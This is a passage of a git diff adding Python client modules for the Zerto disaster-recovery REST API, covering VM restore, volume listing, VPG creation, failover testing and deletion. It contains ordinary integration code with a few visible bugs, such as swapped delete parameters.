'subStatus': sub_status, + 'protectedSiteType': protected_site_type, + 'recoverySiteType': recovery_site_type, + 'protectedSiteIdentifier': protected_site_identifier, + 'recoverySiteIdentifier': recovery_site_identifier, + 'organizationName': organization_name, + 'priority': priority, + 'vmIdentifier': vm_identifier, + 'includeBackupedVms': include_backuped_vms, + 'includeMountedVms': include_mounted_vms + } + log_msg = "VMs.list_vms: Fetching VMs" + + # Remove None values from params + params = {k: v for k, v in params.items() if v is not None} + + logging.info(f"{log_msg} with params: {params}") + try: + response = requests.get(url, headers=headers, params=params, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def restore_vm(self, vm_identifier, vpg_identifier, restored_vm_name, checkpoint_identifier, + journal_vm_restore_settings, commit_policy=0, shutdown_policy=0, + time_to_wait_before_continue_in_seconds=0): + """ + Restore a VM from a specific checkpoint. (Auth) + + Args: + vm_identifier (str): The identifier of the VM to restore + vpg_identifier (str): The identifier of the VPG + restored_vm_name (str): The name for the restored VM + checkpoint_identifier (str): The identifier of the checkpoint to restore from + journal_vm_restore_settings (dict): Settings for the restored VM with structure: + { + "datastoreIdentifier": str, + "nics": [ + { + "hypervisor": { + "dnsSuffix": str, + "ipConfig": { + "gateway": str, + "isDhcp": bool, + "primaryDns": str, + "secondaryDns": str, + "staticIp": str, + "subnetMask": str + }, + "networkIdentifier": str, + "shouldReplaceMacAddress": bool + }, + "nicIdentifier": str + } + ], + "volumes": [ + { + "datastore": { + "datastoreIdentifier": str, + "isThin": bool + }, + "volumeIdentifier": str + } + ] + } + commit_policy (int, optional): The commit policy. Defaults to 0 + shutdown_policy (int, optional): The shutdown policy. Defaults to 0 + time_to_wait_before_continue_in_seconds (int, optional): Time to wait before continuing. Defaults to 0 + + Returns: + dict: Response from the server + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/vms/{vm_identifier}/Restore" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + data = { + "vpgIdentifier": vpg_identifier, + "restoredVmName": restored_vm_name, + "checkpointIdentifier": checkpoint_identifier, + "commitPolicy": commit_policy, + "shutdownPolicy": shutdown_policy, + "timeToWaitBeforeContinueInSeconds": time_to_wait_before_continue_in_seconds, + "journalVMRestoreSettings": journal_vm_restore_settings + } + logging.info(f"VMs.restore_vm: Restoring VM {vm_identifier} from checkpoint {checkpoint_identifier}") + logging.info(f"VMs.restore_vm: Data: {json.dumps(data, indent=2)}") + try: + response = requests.post(url, headers=headers, json=data, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() if response.content else None + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def restore_vm_commit(self, vm_identifier): + """ + Commit a restored VM. (Auth) + + Args: + vm_identifier (str): The identifier of the VM to commit + + Returns: + dict: Response from the server if any + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/vms/{vm_identifier}/RestoreCommit" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VMs.restore_vm_commit: Committing restored VM {vm_identifier}") + try: + response = requests.post(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() if response.content else None + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def restore_vm_rollback(self, vm_identifier): + """ + Rollback a restored VM. (Auth) + + Args: + vm_identifier (str): The identifier of the VM to rollback + + Returns: + dict: Response from the server if any + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/vms/{vm_identifier}/RestoreRollback" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VMs.restore_vm_rollback: Rolling back restored VM {vm_identifier}") + try: + response = requests.post(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() if response.content else None + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def list_vm_points_in_time(self, vm_identifier, vpg_identifier=None, start_date=None, end_date=None): + """ + Get points in time for a specific VM. (Auth) + + Args: + vm_identifier (str): The identifier of the VM + vpg_identifier (str, optional): The identifier of the VPG + start_date (str, optional): The filter interval start date-time + end_date (str, optional): The filter interval end date-time + + Returns: + list: Array of points in time for the specified VM + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/vms/{vm_identifier}/pointsInTime" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + params = { + 'vpgIdentifier': vpg_identifier, + 'startDate': start_date, + 'endDate': end_date + } + # Remove None values from params + params = {k: v for k, v in params.items() if v is not None} + + logging.info(f"VMs.list_vm_points_in_time: Fetching points in time for VM {vm_identifier}") + try: + response = requests.get(url, headers=headers, params=params, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def list_vm_points_in_time_stats(self, vm_identifier, vpg_identifier=None): + """ + Get the earliest and latest points in time for the VM. (Auth) + VpgId may be required if the VM is protected by more than one VPG. + + Args: + vm_identifier (str): The identifier of the VM + vpg_identifier (str, optional): The identifier of the VPG which protects the VM + + Returns: + dict: Statistics about the earliest and latest points in time for the VM + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/vms/{vm_identifier}/pointsInTime/stats" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + params = {'vpgIdentifier': vpg_identifier} if vpg_identifier else {} + + logging.info(f"VMs.list_vm_points_in_time_stats: Fetching points in time stats for VM {vm_identifier}") + try: + response = requests.get(url, headers=headers, params=params, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise \ No newline at end of file diff --git a/zvml/volumes.py b/zvml/volumes.py new file mode 100644 index 0000000..d162af3 --- /dev/null +++ b/zvml/volumes.py @@ -0,0 +1,59 @@ +import requests +import logging +import json + +class Volumes: + def __init__(self, client): + self.client = client + + def list_volumes(self, volume_type=None, vpg_identifier=None, datastore_identifier=None, + protected_vm_identifier=None, owning_vm_identifier=None): + """ + Get a list of volumes info in the current site. For ZSSP users, the information + retrieved is for Protected entities only. (Auth) + + Args: + volume_type (str, optional): The volume type + vpg_identifier (str, optional): The identifier of the VPG + datastore_identifier (str, optional): The identifier of the datastore + protected_vm_identifier (str, optional): The identifier of the protected virtual machine + owning_vm_identifier (str, optional): The identifier of the owning virtual machine + + Returns: + list: Array of volume information objects + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/volumes" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + params = { + 'volumeType': volume_type, + 'vpgIdentifier': vpg_identifier, + 'datastoreIdentifier': datastore_identifier, + 'protectedVmIdentifier': protected_vm_identifier, + 'owningVmIdentifier': owning_vm_identifier + } + # Remove None values from params + params = {k: v for k, v in params.items() if v is not None} + + logging.info("Volumes.list_volumes: Fetching volumes information") + try: + response = requests.get(url, headers=headers, params=params, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise \ No newline at end of file diff --git a/zvml/vpgs.py b/zvml/vpgs.py new file mode 100644 index 0000000..f9c2bfe --- /dev/null +++ b/zvml/vpgs.py @@ -0,0 +1,995 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging +import time +import json +from .tasks import Tasks +from .common import ZertoVPGStatus, ZertoVPGSubstatus, ZertoProtectedSiteType, ZertoRecoverySiteType, ZertoVPGPriority +from typing import Optional, Union, Dict, List + +class VPGs: + def __init__(self, client): + self.client = client + self.tasks = Tasks(client) + + def list_vpgs(self, + vpg_name: str = None, + vpg_identifier: str = None, + status: ZertoVPGStatus = None, + sub_status: ZertoVPGSubstatus = None, + protected_site_type: ZertoProtectedSiteType = None, + recovery_site_type: ZertoRecoverySiteType = None, + protected_site_identifier: str = None, + recovery_site_identifier: str = None, + organization_name: str = None, + zorg_identifier: str = None, + priority: ZertoVPGPriority = None, + service_profile_identifier: str = None, + backup_enabled: bool = None) -> Dict | List[Dict]: + """ + Get information about VPGs. If vpg_identifier or vpg_name is provided, returns a single VPG. + Otherwise, returns a list of VPGs that match the filter criteria. + + Args: + vpg_name: Get a specific VPG by name + vpg_identifier: Get a specific VPG by identifier + status: Filter by VPG status + sub_status: Filter by VPG sub-status + protected_site_type: The protected site type + recovery_site_type: The recovery site type + protected_site_identifier: The identifier of the protected site + recovery_site_identifier: The identifier of the recovery site + organization_name: Filter by ZORG name + zorg_identifier: Filter by ZORG identifier + priority: Filter by VPG priority + service_profile_identifier: Filter by service profile ID + backup_enabled: Deprecated parameter + + Returns: + Dict: When vpg_identifier or vpg_name is provided + List[Dict]: When filtering VPGs without specific identifier + """ + # Construct the base URL + if vpg_identifier: + url = f"https://{self.client.zvm_address}/v1/vpgs/{vpg_identifier}" + else: + url = f"https://{self.client.zvm_address}/v1/vpgs" + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + # Only include query parameters if we're not getting a specific VPG + params = {} + if not vpg_identifier: + params = { + 'name': vpg_name, + 'status': status.get_name_by_value(status.value) if status else None, + 'subStatus': sub_status.get_name_by_value(sub_status.value) if sub_status else None, + 'protectedSiteType': protected_site_type.get_name_by_value(protected_site_type.value) if protected_site_type else None, + 'recoverySiteType': recovery_site_type.get_name_by_value(recovery_site_type.value) if recovery_site_type else None, + 'protectedSiteIdentifier': protected_site_identifier, + 'recoverySiteIdentifier': recovery_site_identifier, + 'organizationName': organization_name, + 'zorgIdentifier': zorg_identifier, + 'priority': priority.get_name_by_value(priority.value) if priority else None, + 'serviceProfileIdentifier': service_profile_identifier, + 'backupEnabled': backup_enabled + } + # Remove None values from params + params = {k: v for k, v in params.items() if v is not None} + + logging.info(f"VPGs.list_vpgs: Fetching VPGs with parameters:") + if vpg_identifier: + logging.info(f" vpg_identifier: {vpg_identifier}") + for key, value in params.items(): + logging.info(f" {key}: {value}") + + try: + response = requests.get( + url, + headers=headers, + params=params, + verify=self.client.verify_certificate, + timeout=30 + ) + response.raise_for_status() + result = response.json() + + # If we're querying by name, return the first matching VPG + if vpg_name and isinstance(result, list): + matching_vpg = next((vpg for vpg in result if vpg.get("VpgName") == vpg_name), None) + if matching_vpg: + logging.info(f"Successfully retrieved VPG details for {vpg_name}") + return matching_vpg + logging.warning(f"No VPG found with name {vpg_name}") + return {} + + if vpg_identifier: + logging.info(f"Successfully retrieved VPG details for {vpg_identifier}") + else: + logging.info(f"Successfully retrieved {len(result)} VPGs") + + return result + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def commit_vpg(self, vpg_settings_id, vpg_name, sync=False, expected_status=ZertoVPGStatus.Initializing, timeout=30, interval=5): + logging.info(f'VPGs.commit_vpg(zvm_address={self.client.zvm_address}, vpg_settings_id={vpg_settings_id}, vpg_name={vpg_name}, sync={sync})') + commit_uri = f"https://{self.client.zvm_address}/v1/vpgSettings/{vpg_settings_id}/commit" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + response = requests.post(commit_uri, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + task_id = response.json() + logging.info(f"VPGSettings {vpg_settings_id} successfully committed, {vpg_name} is created, task_id={task_id}") + + if sync: + # Wait for task completion + self.tasks.wait_for_task_completion(task_id, timeout=timeout, interval=interval) + logging.debug('sleeping 5 seconds ...') + self.wait_for_vpg_ready(vpg_name=vpg_name, timeout=30, interval=5, expected_status=expected_status) + return task_id + return task_id + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def create_vpg(self, basic, journal, recovery, networks, sync=True, status: ZertoVPGStatus = ZertoVPGStatus.Initializing, timeout=30, interval=5): + vpg_name = basic.get("Name") + logging.info(f'VPGs.create_vpg(zvm_address={self.client.zvm_address}, vpg_name={vpg_name}, sync={sync})') + vpg_settings_id = self.create_vpg_settings(basic, journal, recovery, networks, vpg_identifier=None) + return self.commit_vpg(vpg_settings_id, vpg_name, sync, expected_status=status, timeout=timeout, interval=interval) + + def wait_for_vpg_ready(self, vpg_name, timeout=180, interval=5, expected_status=ZertoVPGStatus.Initializing): + logging.debug(f'VPGs.wait_for_vpg_ready(zvm_address={self.client.zvm_address}, vpg_name={vpg_name}, timeout={timeout}, interval={interval}, expected_status={ZertoVPGStatus.get_name_by_value(expected_status.value)})') + start_time = time.time() + + while True: + time.sleep(interval) + vpg_info = self.list_vpgs(vpg_name=vpg_name) + # get status and convert string into enum + logging.debug(f"VPG status: {vpg_info.get('Status')}") + vpg_status: ZertoVPGStatus = ZertoVPGStatus(vpg_info.get("Status")) + logging.debug(f"Checking VPG status for {vpg_name}: Expected status = {ZertoVPGStatus.get_name_by_value(expected_status.value)}, Current status = {ZertoVPGStatus.get_name_by_value(vpg_status.value)}") + + # If VPG is in the expected status or passed the Initializing status too quickly and is in another status + if vpg_status == expected_status or (expected_status == ZertoVPGStatus.Initializing and vpg_status.value > ZertoVPGStatus.Initializing.value): + logging.info(f"VPG {vpg_name} is now in the expected state: {ZertoVPGStatus.get_name_by_value(vpg_status.value)}") + return vpg_info + + # Check if the timeout has been reached + elapsed_time = time.time() - start_time + if elapsed_time > timeout: + raise TimeoutError(f"VPG {vpg_name} did not reach the {ZertoVPGStatus.get_name_by_value(expected_status.value)} state within the allotted time. Current status: {ZertoVPGStatus.get_name_by_value(vpg_status.value)}") + + def add_vm_to_vpg(self, vpg_name, vm_list_payload): + logging.info(f'VPGs.add_vm_to_vpg(zvm_address={self.client.zvm_address}, vpg_name={vpg_name})') + vpg = self.list_vpgs(vpg_name=vpg_name) + + if not vpg: + logging.error(f"VPG with name '{vpg_name}' not found.") + return + + vpg_identifier = vpg['VpgIdentifier'] + logging.info(f"Found VPG '{vpg_name}' with Identifier: {vpg_identifier}") + + new_vpg_settings_id = self.create_vpg_settings(basic=None, journal=None, recovery=None, networks=None, vpg_identifier=vpg_identifier) + + logging.info(f"Adding VMs to VPGSettings ID: {new_vpg_settings_id}") + logging.debug(f"VM List Payload: {json.dumps(vm_list_payload, indent=4)}") + vms_uri = f"https://{self.client.zvm_address}/v1/vpgSettings/{new_vpg_settings_id}/vms" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + response = requests.post(vms_uri, headers=headers, json=vm_list_payload, verify=self.client.verify_certificate) + response.raise_for_status() + logging.info(f"Successfully added VMs to VPG {new_vpg_settings_id}.") + self.commit_vpg(new_vpg_settings_id, vpg_name, sync=True, expected_status=ZertoVPGStatus.Initializing) + return + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def remove_vm_from_vpg(self, vpg_name, vm_identifier): + logging.info(f'VPGs.remove_vm_from_vpg(zvm_address={self.client.zvm_address}, vpg_name={vpg_name}, vm_identifier={vm_identifier})') + vpg = self.list_vpgs(vpg_name=vpg_name) + + if not vpg: + logging.error(f"VPG with name '{vpg_name}' not found.") + return + + vpg_id = vpg['VpgIdentifier'] + logging.info(f"Found VPG '{vpg_name}' with Identifier: {vpg_id}") + + new_vpg_settings_id = self.create_vpg_settings(basic=None, journal=None, recovery=None, networks=None, vpg_identifier=vpg_id) + remove_vm_uri = f"https://{self.client.zvm_address}/v1/vpgSettings/{new_vpg_settings_id}/vms/{vm_identifier}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + response = requests.delete(remove_vm_uri, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + logging.info(f"VM {vm_identifier} successfully removed from VPG '{vpg_name}' (ID: {new_vpg_settings_id}).") + self.commit_vpg(new_vpg_settings_id, vpg_name, sync=True, expected_status=ZertoVPGStatus.Initializing) + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def failover_test(self, vpg_name, checkpoint_identifier=None, vm_name_list=None, sync=True): + """ + Initiate a failover test for a given VPG by its name. + + :param vpg_name: The name of the VPG. + :param checkpoint_identifier: checkpoint_identifier can be recived by list_checkpoint, if not provided uses the latest checkpoint. + :param vm_name_list: List of + :param options: Optional parameters for the failover test. + :return: Response from the Zerto API. + """ + logging.info(f'VPGs.failover_test(zvm_address={self.client.zvm_address}, vpg_name={vpg_name}, checkpoint_identifier={checkpoint_identifier}, vm_name_list={vm_name_list}, sync={sync})') + + # Retrieve the VPG identifier using the VPG name + vpg_info = self.list_vpgs(vpg_name=vpg_name) + vpg_identifier = vpg_info['VpgIdentifier'] + logging.debug(f"Found VPG '{vpg_name}' with Identifier: {vpg_identifier}") + + url = f"https://{self.client.zvm_address}/v1/vpgs/{vpg_identifier}/FailoverTest" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + payload = {} + if checkpoint_identifier: payload['CheckpointIdentifier'] = checkpoint_identifier + + vm_identifier_list = [] + if vm_name_list: + + for vm in vm_name_list: + vm_info = self.list_vms(vm_name=vm) + if not vm_info: + logging.error (f'failover_test vm={vm} not found') + return + vm_identifier_list.append(vm_info[0]['VmIdentifier']) + + payload['VmIdentifiers'] = vm_identifier_list + + try: + logging.info(f"Initiating failover test for VPG '{vpg_name}', payload={payload}") + response = requests.post(url, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + task_id = response.json() + + logging.info(f"Failover test initiated for VPG {vpg_name}, task_id = {task_id}") + + if sync: + # Wait for task completion + self.tasks.wait_for_task_completion(task_id, timeout=30, interval=5) + return response.json() + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def stop_failover_test(self, vpg_name, failoverTestSuccess=True, failoverTestSummary=None, sync=True): + """ + Stop a failover test for a given VPG by its name. + + :param vpg_name: The name of the VPG. + :param sync: wait until task is completed. + + """ + logging.info(f'VPGs.stop_failover_test(zvm_address={self.client.zvm_address}, vpg_name={vpg_name}, sync={sync})') + + # Retrieve the VPG identifier using the VPG name + vpg_info = self.list_vpgs(vpg_name=vpg_name) + vpg_identifier = vpg_info['VpgIdentifier'] + logging.info(f"Found VPG '{vpg_name}' with Identifier: {vpg_identifier}") + + url = f"https://{self.client.zvm_address}/v1/vpgs/{vpg_identifier}/FailoverTestStop" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + body = { + "FailoverTestSuccess": failoverTestSuccess, + "FailoverTestSummary": failoverTestSummary + } + + try: + logging.info(f"Stopping failover test for VPG '{vpg_name}'...") + response = requests.post(url, headers=headers, json=body, verify=self.client.verify_certificate) + response.raise_for_status() + task_id = response.json() + + logging.info(f"Failover test stopping for VPG {vpg_name}, task_id = {task_id}") + + if sync: + # Wait for task completion + self.tasks.wait_for_task_completion(task_id, timeout=30, interval=5) + return response.json() + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def rollback_failover(self, vpg_name, sync=True): + """ + Rollback failover for a given VPG by its name. + + :param vpg_name: The name of the VPG. + :param sync: wait until task is completed. + + """ + logging.info(f'VPGs.rollback_failover(zvm_address={self.client.zvm_address}, vpg_name={vpg_name}, sync={sync})') + + # Retrieve the VPG identifier using the VPG name + vpg_info = self.list_vpgs(vpg_name=vpg_name) + vpg_identifier = vpg_info['VpgIdentifier'] + logging.info(f"Found VPG '{vpg_name}' with Identifier: {vpg_identifier}") + + url = f"https://{self.client.zvm_address}/v1/vpgs/{vpg_identifier}/FailoverRollback" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + logging.info(f"Rollback failover for VPG '{vpg_name}'...") + response = requests.post(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + task_id = response.json() + + logging.info(f"Rollback faolover for VPG {vpg_name}, task_id = {task_id}") + + if sync: + # Wait for task completion + self.tasks.wait_for_task_completion(task_id, timeout=30, interval=5) + return response.json() + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def delete_vpg(self, vpg_name, force=False, keep_recovery_volumes=True): + """ + Deletes a VPG by its name. + + :param vpg_name: The name of the VPG to delete. + :return: Success message if deleted, else an error message. + """ + logging.info(f"VPGs.delete_vpg(zvm_address={self.client.zvm_address}, vpg_name={vpg_name}, force={force}, keep_recovery_volumes={keep_recovery_volumes})") + + # Step 1: Retrieve the VPG details using the VPG name + vpg = self.list_vpgs(vpg_name=vpg_name) + + if not vpg: + logging.error(f"No VPG found with the name '{vpg_name}'.") + return + + # Get the VPG Identifier + vpg_identifier = vpg.get("VpgIdentifier") + if not vpg_identifier: + logging.error(f"Could not retrieve Identifier for VPG '{vpg_name}'.") + return + + # Step 2: Construct the DELETE request URL + delete_vpg_uri = f"https://{self.client.zvm_address}/v1/vpgs/{vpg_identifier}" + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + payload = { + "keepRecoveryVolumes": force, + "force": keep_recovery_volumes + } + + try: + # Step 3: Send DELETE request + response = requests.delete(delete_vpg_uri, headers=headers, json=payload, verify=self.client.verify_certificate) + + response.raise_for_status() # Ensure the request was successful + logging.info(f"Successfully deleted VPG '{vpg_name}' (ID: {vpg_identifier}).") + return f"VPG '{vpg_name}' deleted successfully." + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + # Added methods from VPGSettings + def list_vpg_settings(self): + url = f"https://{self.client.zvm_address}/v1/vpgs/settings" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + logging.error(f"Failed to list VPG settings: {e}") + raise + + def get_vpg_settings_by_id(self, vpg_settings_id): + url = f"https://{self.client.zvm_address}/v1/vpgSettings/{vpg_settings_id}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + logging.error(f"Failed to get VPG settings by ID: {e}") + raise + + def update_vpg_settings(self, vpg_settings_id, payload): + url = f"https://{self.client.zvm_address}/v1/vpgSettings/{vpg_settings_id}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + logging.info(f"VPGs.update_vpg_settings: Updating VPG settings for ID: {vpg_settings_id}") + logging.debug(f"VPGs.update_vpg_settings: Payload: {json.dumps(payload, indent=4)}") + try: + response = requests.put(url, json=payload, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def delete_vpg_settings(self, vpg_settings_id): + url = f"https://{self.client.zvm_address}/v1/vpgs/settings/{vpg_settings_id}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.delete(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def create_vpg_settings(self, basic, journal, recovery, networks, vpg_identifier=None): + logging.info(f'VPGs.create_vpg_settings(zvm_address={self.client.zvm_address}, vpg_identifier={vpg_identifier})') + vpg_settings_uri = f"https://{self.client.zvm_address}/v1/vpgSettings" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + payload = {} + if vpg_identifier: + payload["vpgIdentifier"] = vpg_identifier + if basic: + payload["Basic"] = basic + if journal: + payload["Journal"] = journal + if recovery: + payload["Recovery"] = recovery + if networks: + payload["Networks"] = networks + + logging.debug(f"VPGs.create_vpg_settings: Payload: {json.dumps(payload, indent=4)}") + try: + response = requests.post(vpg_settings_uri, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + vpg_settings_id = response.json() + logging.info(f"VPG Settings ID: {vpg_settings_id} created") + return vpg_settings_id + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def list_checkpoints(self, vpg_name, start_date=None, endd_date=None, 